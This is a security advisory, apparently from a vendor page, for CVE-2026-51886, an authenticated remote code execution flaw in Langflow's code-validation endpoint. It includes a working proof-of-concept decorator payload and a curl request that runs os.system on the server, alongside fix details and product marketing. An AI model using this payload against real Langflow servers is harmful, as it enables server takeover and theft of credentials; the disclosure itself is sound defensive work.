Summary
Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description
###Summary:
A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.
Details
The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).
The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:
# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
# ...
# exec_globals creates a restricted-looking scope, but standard builtins are available
exec(code_obj, exec_globals)
By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.
Affected Versions
/api/v1/validate/codehad no authentication at all until commit3fed9fe1b5("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this sameexec()sink was reachable unauthenticated.- From v1.7.2 through v1.10.0, the endpoint required a valid session but the
exec()sink was untouched, so any authenticated user (or any user at all underAUTO_LOGIN) could trigger RCE via a malicious decorator as described below. - Fixed in v1.10.1, see Fix section.
PoC
- Authenticate as any user (acquire a valid access token or API key).
- Send a POST request to /api/v1/validate/code with the following JSON payload:
{
"code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n pass"
}
Curl Example
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n pass"}'
Verify: Check the server file system. The file /tmp/pwned will be created.
Impact
This vulnerability results in Remote Code Execution (RCE).
Impacted Parties: Any user with access to the Langflow instance (Authenticated Users).
Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-51886 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.10.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.
This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink, the unconditional exec() in validate_code(), and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.
Frequently Asked Questions
- What is CVE-2026-51886? CVE-2026-51886 is a high-severity code injection vulnerability in langflow (pip), affecting versions >= 1.7.2, < 1.10.1. It is fixed in 1.10.1. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-51886? CVE-2026-51886 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of langflow are affected by CVE-2026-51886? langflow (pip) versions >= 1.7.2, < 1.10.1 is affected.
- Is there a fix for CVE-2026-51886? Yes. CVE-2026-51886 is fixed in 1.10.1. Upgrade to this version or later.
- Is CVE-2026-51886 exploitable, and should I be worried? Whether CVE-2026-51886 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-51886 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-51886? Upgrade
langflowto 1.10.1 or later.